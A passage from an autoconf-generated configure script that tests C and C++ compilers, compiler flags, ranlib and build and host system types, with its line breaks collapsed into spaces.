) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` export ac_cv_exeext break;; * ) break;; esac done else { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." >&5 echo "$as_me: error: cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi rm -f conftest$ac_cv_exeext echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 echo "${ECHO_T}$ac_cv_exeext" >&6 rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT echo "$as_me:$LINENO: checking for suffix of object files" >&5 echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6 if test "${ac_cv_objext+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.o conftest.obj if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; then for ac_file in `(ls conftest.o conftest.obj; ls conftest.*) 2>/dev/null`; do case $ac_file in *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg ) ;; *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` break;; esac done else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile See \`config.log' for more details." >&5 echo "$as_me: error: cannot compute suffix of object files: cannot compile See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi rm -f conftest.$ac_cv_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 echo "${ECHO_T}$ac_cv_objext" >&6 OBJEXT=$ac_cv_objext ac_objext=$OBJEXT echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6 if test "${ac_cv_c_compiler_gnu+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_compiler_gnu=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_compiler_gnu=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_c_compiler_gnu=$ac_compiler_gnu fi echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6 GCC=`test $ac_compiler_gnu = yes && echo yes` ac_test_CFLAGS=${CFLAGS+set} ac_save_CFLAGS=$CFLAGS CFLAGS="-g" echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6 if test "${ac_cv_prog_cc_g+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_prog_cc_g=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_prog_cc_g=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 echo "${ECHO_T}$ac_cv_prog_cc_g" >&6 if test "$ac_test_CFLAGS" = set; then CFLAGS=$ac_save_CFLAGS elif test $ac_cv_prog_cc_g = yes; then if test "$GCC" = yes; then CFLAGS="-g -O2" else CFLAGS="-g" fi else if test "$GCC" = yes; then CFLAGS="-O2" else CFLAGS= fi fi echo "$as_me:$LINENO: checking for $CC option to accept ANSI C" >&5 echo $ECHO_N "checking for $CC option to accept ANSI C... $ECHO_C" >&6 if test "${ac_cv_prog_cc_stdc+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_cv_prog_cc_stdc=no ac_save_CC=$CC cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include #include /* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ struct buf { int x; }; FILE * (*rcsopen) (struct buf *, struct stat *, int); static char *e (p, i) char **p; int i; { return p[i]; } static char *f (char * (*g) (char **, int), char **p, ...) { char *s; va_list v; va_start (v,p); s = g (p, va_arg (v,int)); va_end (v); return s; } /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has function prototypes and stuff, but not '\xHH' hex character constants. These don't provoke an error unfortunately, instead are silently treated as 'x'. The following induces an error, until -std1 is added to get proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an array size at least. It's necessary to write '\x00'==0 to get something that's true only with -std1. */ int osf4_cc_array ['\x00' == 0 ? 1 : -1]; int test (int i, double x); struct s1 {int (*f) (int a);}; struct s2 {int (*f) (double a);}; int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); int argc; char **argv; int main () { return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; ; return 0; } _ACEOF # Don't try gcc -ansi; that turns off useful extensions and # breaks some systems' header files. # AIX -qlanglvl=ansi # Ultrix and OSF/1 -std1 # HP-UX 10.20 and later -Ae # HP-UX older versions -Aa -D_HPUX_SOURCE # SVR4 -Xc -D__EXTENSIONS__ for ac_arg in "" -qlanglvl=ansi -std1 -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" do CC="$ac_save_CC $ac_arg" rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_prog_cc_stdc=$ac_arg break else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext done rm -f conftest.$ac_ext conftest.$ac_objext CC=$ac_save_CC fi case "x$ac_cv_prog_cc_stdc" in x|xno) echo "$as_me:$LINENO: result: none needed" >&5 echo "${ECHO_T}none needed" >&6 ;; *) echo "$as_me:$LINENO: result: $ac_cv_prog_cc_stdc" >&5 echo "${ECHO_T}$ac_cv_prog_cc_stdc" >&6 CC="$CC $ac_cv_prog_cc_stdc" ;; esac # Some people use a C++ compiler to compile C. Since we use `exit', # in C++ we need to declare it. In case someone uses the same compiler # for both compiling C and C++ we need to have the C++ compiler decide # the declaration of exit, since it's the most demanding environment. cat >conftest.$ac_ext <<_ACEOF #ifndef __cplusplus choke me #endif _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then for ac_declaration in \ '' \ 'extern "C" void std::exit (int) throw (); using std::exit;' \ 'extern "C" void std::exit (int); using std::exit;' \ 'extern "C" void exit (int) throw ();' \ 'extern "C" void exit (int);' \ 'void exit (int);' do cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration #include int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 continue fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then break else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext done rm -f conftest* if test -n "$ac_declaration"; then echo '#ifdef __cplusplus' >>confdefs.h echo $ac_declaration >>confdefs.h echo '#endif' >>confdefs.h fi else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext ac_ext=cc ac_cpp='$CXXCPP $CPPFLAGS' ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_cxx_compiler_gnu ac_ext=cc ac_cpp='$CXXCPP $CPPFLAGS' ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_cxx_compiler_gnu if test -n "$ac_tool_prefix"; then for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC do # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. set dummy $ac_tool_prefix$ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_CXX+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$CXX"; then ac_cv_prog_CXX="$CXX" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CXX="$ac_tool_prefix$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi CXX=$ac_cv_prog_CXX if test -n "$CXX"; then echo "$as_me:$LINENO: result: $CXX" >&5 echo "${ECHO_T}$CXX" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$CXX" && break done fi if test -z "$CXX"; then ac_ct_CXX=$CXX for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC do # Extract the first word of "$ac_prog", so it can be a program name with args. set dummy $ac_prog; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_CXX+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_CXX"; then ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_CXX="$ac_prog" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi ac_ct_CXX=$ac_cv_prog_ac_ct_CXX if test -n "$ac_ct_CXX"; then echo "$as_me:$LINENO: result: $ac_ct_CXX" >&5 echo "${ECHO_T}$ac_ct_CXX" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi test -n "$ac_ct_CXX" && break done test -n "$ac_ct_CXX" || ac_ct_CXX="g++" CXX=$ac_ct_CXX fi # Provide some information about the compiler. echo "$as_me:$LINENO:" \ "checking for C++ compiler version" >&5 ac_compiler=`set X $ac_compile; echo $2` { (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\"") >&5 (eval $ac_compiler --version &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 (eval $ac_compiler -v &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } { (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 (eval $ac_compiler -V &5) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } echo "$as_me:$LINENO: checking whether we are using the GNU C++ compiler" >&5 echo $ECHO_N "checking whether we are using the GNU C++ compiler... $ECHO_C" >&6 if test "${ac_cv_cxx_compiler_gnu+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { #ifndef __GNUC__ choke me #endif ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_compiler_gnu=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_compiler_gnu=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext ac_cv_cxx_compiler_gnu=$ac_compiler_gnu fi echo "$as_me:$LINENO: result: $ac_cv_cxx_compiler_gnu" >&5 echo "${ECHO_T}$ac_cv_cxx_compiler_gnu" >&6 GXX=`test $ac_compiler_gnu = yes && echo yes` ac_test_CXXFLAGS=${CXXFLAGS+set} ac_save_CXXFLAGS=$CXXFLAGS CXXFLAGS="-g" echo "$as_me:$LINENO: checking whether $CXX accepts -g" >&5 echo $ECHO_N "checking whether $CXX accepts -g... $ECHO_C" >&6 if test "${ac_cv_prog_cxx_g+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_prog_cxx_g=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_prog_cxx_g=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_prog_cxx_g" >&5 echo "${ECHO_T}$ac_cv_prog_cxx_g" >&6 if test "$ac_test_CXXFLAGS" = set; then CXXFLAGS=$ac_save_CXXFLAGS elif test $ac_cv_prog_cxx_g = yes; then if test "$GXX" = yes; then CXXFLAGS="-g -O2" else CXXFLAGS="-g" fi else if test "$GXX" = yes; then CXXFLAGS="-O2" else CXXFLAGS= fi fi for ac_declaration in \ '' \ 'extern "C" void std::exit (int) throw (); using std::exit;' \ 'extern "C" void std::exit (int); using std::exit;' \ 'extern "C" void exit (int) throw ();' \ 'extern "C" void exit (int);' \ 'void exit (int);' do cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration #include int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 continue fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_declaration int main () { exit (42); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then break else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext done rm -f conftest* if test -n "$ac_declaration"; then echo '#ifdef __cplusplus' >>confdefs.h echo $ac_declaration >>confdefs.h echo '#endif' >>confdefs.h fi ac_ext=cc ac_cpp='$CXXCPP $CPPFLAGS' ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_cxx_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args. set dummy ${ac_tool_prefix}ranlib; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_RANLIB+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$RANLIB"; then ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done fi fi RANLIB=$ac_cv_prog_RANLIB if test -n "$RANLIB"; then echo "$as_me:$LINENO: result: $RANLIB" >&5 echo "${ECHO_T}$RANLIB" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi fi if test -z "$ac_cv_prog_RANLIB"; then ac_ct_RANLIB=$RANLIB # Extract the first word of "ranlib", so it can be a program name with args. set dummy ranlib; ac_word=$2 echo "$as_me:$LINENO: checking for $ac_word" >&5 echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 if test "${ac_cv_prog_ac_ct_RANLIB+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if test -n "$ac_ct_RANLIB"; then ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_ac_ct_RANLIB="ranlib" echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done test -z "$ac_cv_prog_ac_ct_RANLIB" && ac_cv_prog_ac_ct_RANLIB=":" fi fi ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB if test -n "$ac_ct_RANLIB"; then echo "$as_me:$LINENO: result: $ac_ct_RANLIB" >&5 echo "${ECHO_T}$ac_ct_RANLIB" >&6 else echo "$as_me:$LINENO: result: no" >&5 echo "${ECHO_T}no" >&6 fi RANLIB=$ac_ct_RANLIB else RANLIB="$ac_cv_prog_RANLIB" fi SOURCES=`cd src; ls *.cc | awk ' { printf "%s ", $1 } '` HEADERS=`cd src; ls *.h | awk '!/defines.h|config.h/{ printf "%s ", $1 }'` # XXX: add -Werror for the final version # remove -Wmissing-prototypes, as they cause warnings if test -n "$GCC"; then CPPFLAGS="$CPPFLAGS -Wall -W -Wcast-align \ -Wcast-qual -Wshadow" #-Wwrite-strings fi # Check whether --enable-debug or --disable-debug was given. if test "${enable_debug+set}" = set; then enableval="$enable_debug" if test -n "$GCC"; then CPPFLAGS="$CPPFLAGS -DDEBUG -ggdb" else CPPFLAGS="$CPPFLAGS -DDEBUG" fi fi; # Make sure we can run config.sub. $ac_config_sub sun4 >/dev/null 2>&1 || { { echo "$as_me:$LINENO: error: cannot run $ac_config_sub" >&5 echo "$as_me: error: cannot run $ac_config_sub" >&2;} { (exit 1); exit 1; }; } echo "$as_me:$LINENO: checking build system type" >&5 echo $ECHO_N "checking build system type... $ECHO_C" >&6 if test "${ac_cv_build+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_cv_build_alias=$build_alias test -z "$ac_cv_build_alias" && ac_cv_build_alias=`$ac_config_guess` test -z "$ac_cv_build_alias" && { { echo "$as_me:$LINENO: error: cannot guess build type; you must specify one" >&5 echo "$as_me: error: cannot guess build type; you must specify one" >&2;} { (exit 1); exit 1; }; } ac_cv_build=`$ac_config_sub $ac_cv_build_alias` || { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_build_alias failed" >&5 echo "$as_me: error: $ac_config_sub $ac_cv_build_alias failed" >&2;} { (exit 1); exit 1; }; } fi echo "$as_me:$LINENO: result: $ac_cv_build" >&5 echo "${ECHO_T}$ac_cv_build" >&6 build=$ac_cv_build build_cpu=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` build_vendor=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` build_os=`echo $ac_cv_build | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` echo "$as_me:$LINENO: checking host system type" >&5 echo $ECHO_N "checking host system type... $ECHO_C" >&6 if test "${ac_cv_host+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_cv_host_alias=$host_alias test -z "$ac_cv_host_alias" && ac_cv_host_alias=$ac_cv_build_alias ac_cv_host=`$ac_config_sub $ac_cv_host_alias` || { { echo "$as_me:$LINENO: error: $ac_config_sub $ac_cv_host_alias failed" >&5 echo "$as_me: error: $ac_config_sub $ac_cv_host_alias failed" >&2;} { (exit 1); exit 1; }; } fi echo "$as_me:$LINENO: result: $ac_cv_host" >&5 echo "${ECHO_T}$ac_cv_host" >&6 host=$ac_cv_host host_cpu=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` host_vendor=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` host_os=`echo $ac_cv_host | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` case "$host" in *-solaris*) cat >>confdefs.h <<\_ACEOF #define SOLARIS 1 _ACEOF 